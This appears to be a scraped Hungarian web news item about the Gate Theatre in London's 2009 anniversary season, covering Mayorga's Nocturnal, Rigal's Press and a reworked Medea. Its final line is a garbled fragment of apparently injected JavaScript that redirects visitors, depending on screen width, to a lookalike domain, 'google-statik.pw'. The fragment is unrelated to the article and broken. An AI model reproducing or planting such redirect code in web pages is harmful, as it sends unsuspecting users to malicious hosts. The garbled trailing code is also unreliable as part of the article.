Gate Theatre, London: Generation Gate

A londoni Gate Theatre aprilistol juliusig tarto, Generation Gate nevu szezonjaval megalapitasanak harminceves evfordulojat unnepli 2009-ben. A Natalie Abrahami es Carrie Cracknell muveszeti vezetese alatt allo szinhaz aprilis 21-tol majus 16-ig tuzi musorra az unnepelt spanyol dramairo, Juan Mayorga Nocturnal cimu darabjat David Jonhston forditasaban, Lyndsey Turner rendezeseben. Ket ferfi ugyanabban a haztombben lakik. Az egyik a hosszu setakat, a gorog mitoszokat es az idegen nyelveket szereti. A masik a listakeszitest, bicikliszerelest es a zsarolast. Egy napon varatlanul osszetalalkoznak egy kocsmaban. Csakhogy ez megsem egeszen a veletlen muve. Egyikuk ugyanis reges regen eltervezte ezt a pillanatot. A Nocturnal a baratsag komplex termeszeterol szol, es azt kutatja, hogy az udvarias viselkedes retegei mogott milyen hatalmi harcok zajlanak az emberi kapcsolatokban. Majus 28. es 30. kozott lathato a Sadler's Wells-ben Pierre Rigal Press cimu darabja a Gate koprodukciojakent. A francia koreografus, Pierre Rigal munkaja megmutatja, hogy a modern vilag hogyan nyomja ossze szemelyes terunket, es mindezt kepzeljuk el egy specialisan leszukitett, alig harom es fel meter szeles szinpadon. A Gate es a Headlong Theatre junius 21-tol julius 18-ig jatssza a Euripidesz Medeiajanak ujragondolt valtozatat Dylan Tighe rendezeseben. A produkcio az elo eloadas es az elore felvett kepek egyuttes szovetebol epitkezik, es a forditas es szinhaz termeszetet kutatja, valamint a mitosz helyet keresi a mai tarsadalomban.

if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width